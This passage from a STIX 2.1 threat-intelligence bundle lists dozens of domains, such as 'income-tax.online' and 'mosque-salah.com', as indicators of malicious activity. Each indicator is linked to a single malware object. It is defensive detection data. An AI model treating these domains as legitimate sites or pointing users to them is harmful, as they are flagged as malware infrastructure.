"2024-01-26T21:28:21.721437Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='randomlane.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.721437Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3f7152d8-972e-4456-b77f-dcfc11ec9761", "created": "2024-01-26T21:28:21.721818Z", "modified": "2024-01-26T21:28:21.721818Z", "relationship_type": "indicates", "source_ref": "indicator--42d26747-e270-4c48-80c9-c27853208d77", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7d9ebe06-5c42-432d-8ecf-b4fcb03c3fe3", "created": "2024-01-26T21:28:21.721914Z", "modified": "2024-01-26T21:28:21.721914Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='qaoffers.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.721914Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7253cb4f-b995-4d33-b8b7-8837610bceaa", "created": "2024-01-26T21:28:21.722292Z", "modified": "2024-01-26T21:28:21.722292Z", "relationship_type": "indicates", "source_ref": "indicator--7d9ebe06-5c42-432d-8ecf-b4fcb03c3fe3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ec992d51-e4cd-4e86-9780-881f84a46057", "created": "2024-01-26T21:28:21.72239Z", "modified": "2024-01-26T21:28:21.72239Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='raresound.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.72239Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--18d34deb-c159-41e0-a189-bee8be0849b1", "created": "2024-01-26T21:28:21.722774Z", "modified": "2024-01-26T21:28:21.722774Z", "relationship_type": "indicates", "source_ref": "indicator--ec992d51-e4cd-4e86-9780-881f84a46057", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--37da22b7-2d45-4067-a3a9-989f80dfa492", "created": "2024-01-26T21:28:21.722868Z", "modified": "2024-01-26T21:28:21.722868Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='alpharythme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.722868Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--490a8e99-a094-4a4b-828f-aa7b19ece411", "created": "2024-01-26T21:28:21.723246Z", "modified": "2024-01-26T21:28:21.723246Z", "relationship_type": "indicates", "source_ref": "indicator--37da22b7-2d45-4067-a3a9-989f80dfa492", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--badc7f22-d49c-487e-bbee-b716a440e86d", "created": "2024-01-26T21:28:21.723346Z", "modified": "2024-01-26T21:28:21.723346Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='albumphotopro.biz']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.723346Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e2f99f63-78cf-4de8-b533-0efdc8ae38b3", "created": "2024-01-26T21:28:21.723731Z", "modified": "2024-01-26T21:28:21.723731Z", "relationship_type": "indicates", "source_ref": "indicator--badc7f22-d49c-487e-bbee-b716a440e86d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3843e4bc-ff54-4c3e-8c2e-4828b193a9f9", "created": "2024-01-26T21:28:21.723826Z", "modified": "2024-01-26T21:28:21.723826Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mosque-salah.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.723826Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--65f70277-99dc-428b-aa8a-54e242be84a5", "created": "2024-01-26T21:28:21.72429Z", "modified": "2024-01-26T21:28:21.72429Z", "relationship_type": "indicates", "source_ref": "indicator--3843e4bc-ff54-4c3e-8c2e-4828b193a9f9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--eb1de3be-1f84-4a53-895a-512744410eb0", "created": "2024-01-26T21:28:21.724389Z", "modified": "2024-01-26T21:28:21.724389Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newtarrifs.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.724389Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2a15c511-3ba1-467d-8fa0-a8ade100c018", "created": "2024-01-26T21:28:21.724775Z", "modified": "2024-01-26T21:28:21.724775Z", "relationship_type": "indicates", "source_ref": "indicator--eb1de3be-1f84-4a53-895a-512744410eb0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a3abe7d3-a611-430c-8ef6-13fe3e8976b1", "created": "2024-01-26T21:28:21.724874Z", "modified": "2024-01-26T21:28:21.724874Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='theredirect.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.724874Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--33643139-3072-4dd7-8fb3-227635da33ff", "created": "2024-01-26T21:28:21.725254Z", "modified": "2024-01-26T21:28:21.725254Z", "relationship_type": "indicates", "source_ref": "indicator--a3abe7d3-a611-430c-8ef6-13fe3e8976b1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ee2454a2-b5dc-4b56-9362-4b585afb68f2", "created": "2024-01-26T21:28:21.725351Z", "modified": "2024-01-26T21:28:21.725351Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urlredirect.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.725351Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5cf81fee-08d4-4d04-a8eb-96fd3bf93f02", "created": "2024-01-26T21:28:21.725733Z", "modified": "2024-01-26T21:28:21.725733Z", "relationship_type": "indicates", "source_ref": "indicator--ee2454a2-b5dc-4b56-9362-4b585afb68f2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--574265ad-b9b0-4b20-ac6d-ba31dfaefefb", "created": "2024-01-26T21:28:21.725827Z", "modified": "2024-01-26T21:28:21.725827Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bulksender.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.725827Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--90e68def-fcc5-4167-8fd1-cdd5914112d8", "created": "2024-01-26T21:28:21.726216Z", "modified": "2024-01-26T21:28:21.726216Z", "relationship_type": "indicates", "source_ref": "indicator--574265ad-b9b0-4b20-ac6d-ba31dfaefefb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bc27f820-4d8f-487c-9666-800d09cadd9a", "created": "2024-01-26T21:28:21.726315Z", "modified": "2024-01-26T21:28:21.726315Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='income-tax.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.726315Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5e55b11e-a507-4886-8e35-eaf3148708a3", "created": "2024-01-26T21:28:21.726696Z", "modified": "2024-01-26T21:28:21.726696Z", "relationship_type": "indicates", "source_ref": "indicator--bc27f820-4d8f-487c-9666-800d09cadd9a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6f18bbb3-2a9e-43b9-a689-342121eb9c7b", "created": "2024-01-26T21:28:21.726791Z", "modified": "2024-01-26T21:28:21.726791Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='getspeednows.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.726791Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c7bd4197-757d-441e-b348-dc02cd77de28", "created": "2024-01-26T21:28:21.72717Z", "modified": "2024-01-26T21:28:21.72717Z", "relationship_type": "indicates", "source_ref": "indicator--6f18bbb3-2a9e-43b9-a689-342121eb9c7b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--28fa25c4-71ee-4c52-98ae-384ffa8a4c8b", "created": "2024-01-26T21:28:21.727265Z", "modified": "2024-01-26T21:28:21.727265Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='silverodgone.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.727265Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b7ae7148-1f09-4562-8699-74580f091932", "created": "2024-01-26T21:28:21.727651Z", "modified": "2024-01-26T21:28:21.727651Z", "relationship_type": "indicates", "source_ref": "indicator--28fa25c4-71ee-4c52-98ae-384ffa8a4c8b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8e7467d7-b491-47e8-973c-6a6eadb084f6", "created": "2024-01-26T21:28:21.727747Z", "modified": "2024-01-26T21:28:21.727747Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pageredirect.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.727747Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5b6b2386-eb72-4313-b0f0-6165c2dd5c23", "created": "2024-01-26T21:28:21.728136Z", "modified": "2024-01-26T21:28:21.728136Z", "relationship_type": "indicates", "source_ref": "indicator--8e7467d7-b491-47e8-973c-6a6eadb084f6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bdfcd56f-edcf-4ae6-a1a1-a4135b10c072", "created": "2024-01-26T21:28:21.728235Z", "modified": "2024-01-26T21:28:21.728235Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='istgr-foto.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.728235Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9e8ab477-2a4b-48af-9017-43aa309731c6", "created": "2024-01-26T21:28:21.728692Z", "modified": "2024-01-26T21:28:21.728692Z", "relationship_type": "indicates", "source_ref": "indicator--bdfcd56f-edcf-4ae6-a1a1-a4135b10c072", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bde0f7fe-b690-4621-8941-4e61f17c8df1", "created": "2024-01-26T21:28:21.728792Z", "modified": "2024-01-26T21:28:21.728792Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reload-url.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.728792Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--71211c2e-5bea-4b6d-a6d1-39900f7380ba", "created": "2024-01-26T21:28:21.729176Z", "modified": "2024-01-26T21:28:21.729176Z", "relationship_type": "indicates", "source_ref": "indicator--bde0f7fe-b690-4621-8941-4e61f17c8df1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4ad5a9ea-30be-4f1e-8543-ed7ddb72f88b", "created": "2024-01-26T21:28:21.729275Z", "modified": "2024-01-26T21:28:21.729275Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bestpresents4all.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.729275Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--da9b79c0-12c2-4eb9-9ba1-de704f4f2e32", "created": "2024-01-26T21:28:21.72966Z", "modified": "2024-01-26T21:28:21.72966Z", "relationship_type": "indicates", "source_ref": "indicator--4ad5a9ea-30be-4f1e-8543-ed7ddb72f88b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b1f9bb97-02d3-4bc0-a243-e657fbc14812", "created": "2024-01-26T21:28:21.729755Z", "modified": "2024-01-26T21:28:21.729755Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='onlineshopzm.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.729755Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--94da135f-00b1-4c2d-97b4-110f12e553c6", "created": "2024-01-26T21:28:21.730136Z", "modified": "2024-01-26T21:28:21.730136Z", "relationship_type": "indicates", "source_ref": "indicator--b1f9bb97-02d3-4bc0-a243-e657fbc14812", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--350d5914-099d-44c5-901b-fc4ec484a5fc", "created": "2024-01-26T21:28:21.730233Z", "modified": "2024-01-26T21:28:21.730233Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='existingpass.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.730233Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--798d19ad-30f9-4dd7-ae8a-35bac289ed30", "created": "2024-01-26T21:28:21.730617Z", "modified": "2024-01-26T21:28:21.730617Z", "relationship_type": "indicates", "source_ref": "indicator--350d5914-099d-44c5-901b-fc4ec484a5fc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--84370bb8-321b-4b83-a30f-9c49b5d46fea", "created": "2024-01-26T21:28:21.730713Z", "modified": "2024-01-26T21:28:21.730713Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='towebsite.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.730713Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2b950f19-ab62-490f-bcfb-7212102d7d77", "created": "2024-01-26T21:28:21.731092Z", "modified": "2024-01-26T21:28:21.731092Z", "relationship_type": "indicates", "source_ref": "indicator--84370bb8-321b-4b83-a30f-9c49b5d46fea", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c039b3b5-ce32-4973-b715-8fe9f7406a25", "created": "2024-01-26T21:28:21.731188Z", "modified": "2024-01-26T21:28:21.731188Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='url-hoster.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.731188Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3ed3cf89-10ba-41ca-b58f-bcd6e1e06c22", "created": "2024-01-26T21:28:21.731568Z", "modified": "2024-01-26T21:28:21.731568Z", "relationship_type": "indicates", "source_ref": "indicator--c039b3b5-ce32-4973-b715-8fe9f7406a25", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4dc5ea1e-e99c-46d9-aaf7-244c4c9f7a26", "created": "2024-01-26T21:28:21.731664Z", "modified": "2024-01-26T21:28:21.731664Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='trade-agreement.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.731664Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7c64bd7b-eefa-4952-a5d9-0b5c17958ea7", "created": "2024-01-26T21:28:21.732049Z", "modified": "2024-01-26T21:28:21.732049Z", "relationship_type": "indicates", "source_ref": "indicator--4dc5ea1e-e99c-46d9-aaf7-244c4c9f7a26", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7a33c076-b440-406c-83c6-65edb90499ee", "created": "2024-01-26T21:28:21.732145Z", "modified": "2024-01-26T21:28:21.732145Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='popularmessages.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.732145Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b1ead26b-af3c-4de7-b838-9bfecf9c912b", "created": "2024-01-26T21:28:21.732533Z", "modified": "2024-01-26T21:28:21.732533Z", "relationship_type": "indicates", "source_ref": "indicator--7a33c076-b440-406c-83c6-65edb90499ee", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cf1aa7ec-fcdd-43d7-8173-b9e03dea6581", "created": "2024-01-26T21:28:21.73263Z", "modified": "2024-01-26T21:28:21.73263Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='blindlydivision.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.73263Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d9107f1b-982a-4b5b-924c-9a7fe0aaeaea", "created": "2024-01-26T21:28:21.733099Z", "modified": "2024-01-26T21:28:21.733099Z", "relationship_type": "indicates", "source_ref": "indicator--cf1aa7ec-fcdd-43d7-8173-b9e03dea6581", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3f34ece8-5da9-4ced-af6e-0f144ead0153", "created": "2024-01-26T21:28:21.733197Z", "modified": "2024-01-26T21:28:21.733197Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='keepiptext.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.733197Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5b5500f5-ac8b-4ce6-bd96-5aa86107c6de", "created": "2024-01-26T21:28:21.733581Z", "modified": "2024-01-26T21:28:21.733581Z", "relationship_type": "indicates", "source_ref": "indicator--3f34ece8-5da9-4ced-af6e-0f144ead0153", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--66e55507-ca2c-49fc-92c1-c37d9576f227", "created": "2024-01-26T21:28:21.733678Z", "modified": "2024-01-26T21:28:21.733678Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dogopics.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.733678Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4d247077-067f-4dd3-bd9d-f798c38f6f75", "created": "2024-01-26T21:28:21.734056Z", "modified": "2024-01-26T21:28:21.734056Z", "relationship_type": "indicates", "source_ref": "indicator--66e55507-ca2c-49fc-92c1-c37d9576f227", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f51ea587-7a45-4884-beeb-0f483da12230", "created": "2024-01-26T21:28:21.734157Z", "modified": "2024-01-26T21:28:21.734157Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='legyelvodas.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.734157Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bf3f94da-f628-4b11-97d9-fa5175486887", "created": "2024-01-26T21:28:21.734535Z", "modified": "2024-01-26T21:28:21.734535Z", "relationship_type": "indicates", "source_ref": "indicator--f51ea587-7a45-4884-beeb-0f483da12230", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--47ab265d-03d7-4617-9cfe-e5e615a98646", "created": "2024-01-26T21:28:21.734632Z", "modified": "2024-01-26T21:28:21.734632Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='brand-tech.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.734632Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--29d5cf75-81b5-4b62-b2f9-cecd50ef9028", "created": "2024-01-26T21:28:21.735019Z", "modified": "2024-01-26T21:28:21.735019Z", "relationship_type": "indicates", "source_ref": "indicator--47ab265d-03d7-4617-9cfe-e5e615a98646", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a3a8c925-d693-44cf-934f-0f5ddc7474a5", "created": "2024-01-26T21:28:21.735114Z", "modified": "2024-01-26T21:28:21.735114Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='authenticated-origin.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.735114Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bcdbf408-4f38-4707-83d9-9022ed468b48", "created": "2024-01-26T21:28:21.735509Z", "modified": "2024-01-26T21:28:21.735509Z", "relationship_type": "indicates", "source_ref": "indicator--a3a8c925-d693-44cf-934f-0f5ddc7474a5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b9c3aed3-1995-4bcb-afdf-7db556d30f05", "created": "2024-01-26T21:28:21.735609Z", "modified": "2024-01-26T21:28:21.735609Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='insta-foto.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.735609Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--058d03f1-72ff-4dbe-ae65-2d19b1fcc785", "created": "2024-01-26T21:28:21.735988Z", "modified": "2024-01-26T21:28:21.735988Z", "relationship_type": "indicates", "source_ref": "indicator--b9c3aed3-1995-4bcb-afdf-7db556d30f05", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d9abb65a-3e7a-48ed-a132-6f374b2d3c29", "created": "2024-01-26T21:28:21.736086Z", "modified": "2024-01-26T21:28:21.736086Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='stationfunds.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.736086Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4c749b18-2e8a-4899-b56a-1f511a3b3b0a", "created": "2024-01-26T21:28:21.736473Z", "modified": "2024-01-26T21:28:21.736473Z", "relationship_type": "indicates", "source_ref": "indicator--d9abb65a-3e7a-48ed-a132-6f374b2d3c29", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--08f6ef92-5a22-420f-ab0e-40c6bd11837a", "created": "2024-01-26T21:28:21.736568Z", "modified": "2024-01-26T21:28:21.736568Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='domain-resolver.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.736568Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6e4812a7-9f44-42b1-ba06-acacacaf0173", "created": "2024-01-26T21:28:21.736956Z", "modified": "2024-01-26T21:28:21.736956Z", "relationship_type": "indicates", "source_ref": "indicator--08f6ef92-5a22-420f-ab0e-40c6bd11837a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c068b1aa-4603-4cf9-b1f8-e0344d0a80dd", "created": "2024-01-26T21:28:21.737052Z", "modified": "2024-01-26T21:28:21.737052Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='benjamin-taganga.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.737052Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4f0d9884-b663-4091-8c84-de68a070540e", "created": "2024-01-26T21:28:21.737729Z", "modified": "2024-01-26T21:28:21.737729Z", "relationship_type": "indicates", "source_ref": "indicator--c068b1aa-4603-4cf9-b1f8-e0344d0a80dd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0b37a1d5-cfaf-45ef-998e-16d7b4095695", "created": "2024-01-26T21:28:21.737832Z", "modified": "2024-01-26T21:28:21.737832Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='colorsoflife.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.737832Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b0804bae-cd26-4f8e-bf01-0d40102f9330", "created": "2024-01-26T21:28:21.738228Z", "modified": "2024-01-26T21:28:21.738228Z", "relationship_type": "indicates", "source_ref": "indicator--0b37a1d5-cfaf-45ef-998e-16d7b4095695", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6be147b0-dd7a-4de9-81fd-a9b3e7b3bb4e", "created": "2024-01-26T21:28:21.738331Z", "modified": "2024-01-26T21:28:21.738331Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='24-7clinic.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.738331Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3dda9262-d4c1-4452-ae4c-42b31b0faa41", "created": "2024-01-26T21:28:21.738773Z", "modified": "2024-01-26T21:28:21.738773Z", "relationship_type": "indicates", "source_ref": "indicator--6be147b0-dd7a-4de9-81fd-a9b3e7b3bb4e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bd375eac-04d5-464f-aae2-f3a120e36a47", "created": "2024-01-26T21:28:21.738872Z", "modified": "2024-01-26T21:28:21.738872Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tahmilmilafate.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.738872Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ad5e9214-170c-45aa-a6b6-b1a90ff0e85f", "created": "2024-01-26T21:28:21.739259Z", "modified": "2024-01-26T21:28:21.739259Z", "relationship_type": "indicates", "source_ref": "indicator--bd375eac-04d5-464f-aae2-f3a120e36a47", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1631bde8-8c6a-4388-bd35-ee5d70a18ba5", "created": "2024-01-26T21:28:21.739354Z", "modified": "2024-01-26T21:28:21.739354Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='promosdereve.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.739354Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ab82899f-84a4-452e-886d-597b0e9d6d2a", "created": "2024-01-26T21:28:21.739738Z", "modified": "2024-01-26T21:28:21.739738Z", "relationship_type": "indicates", "source_ref": "indicator--1631bde8-8c6a-4388-bd35-ee5d70a18ba5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b9002927-d423-4a3a-be86-fa0a13ca53ae", "created": "2024-01-26T21:28:21.739835Z", "modified": "2024-01-26T21:28:21.739835Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='just-one-left.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.739835Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b07dc928-c643-41af-b36b-47615a6ee7b5", "created": "2024-01-26T21:28:21.74022Z", "modified": "2024-01-26T21:28:21.74022Z", "relationship_type": "indicates", "source_ref": "indicator--b9002927-d423-4a3a-be86-fa0a13ca53ae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--26d4a737-5cf5-447d-8cf2-b23c0e4976a2", "created": "2024-01-26T21:28:21.740325Z", "modified": "2024-01-26T21:28:21.740325Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fastfixs.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.740325Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d7815970-00e3-486f-a78b-e640048a8be3", "created": "2024-01-26T21:28:21.740706Z", "modified": "2024-01-26T21:28:21.740706Z", "relationship_type": "indicates", "source_ref": "indicator--26d4a737-5cf5-447d-8cf2-b23c0e4976a2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--98812879-9608-4975-b944-d6ff82cd6ffa", "created": "2024-01-26T21:28:21.740801Z", "modified": 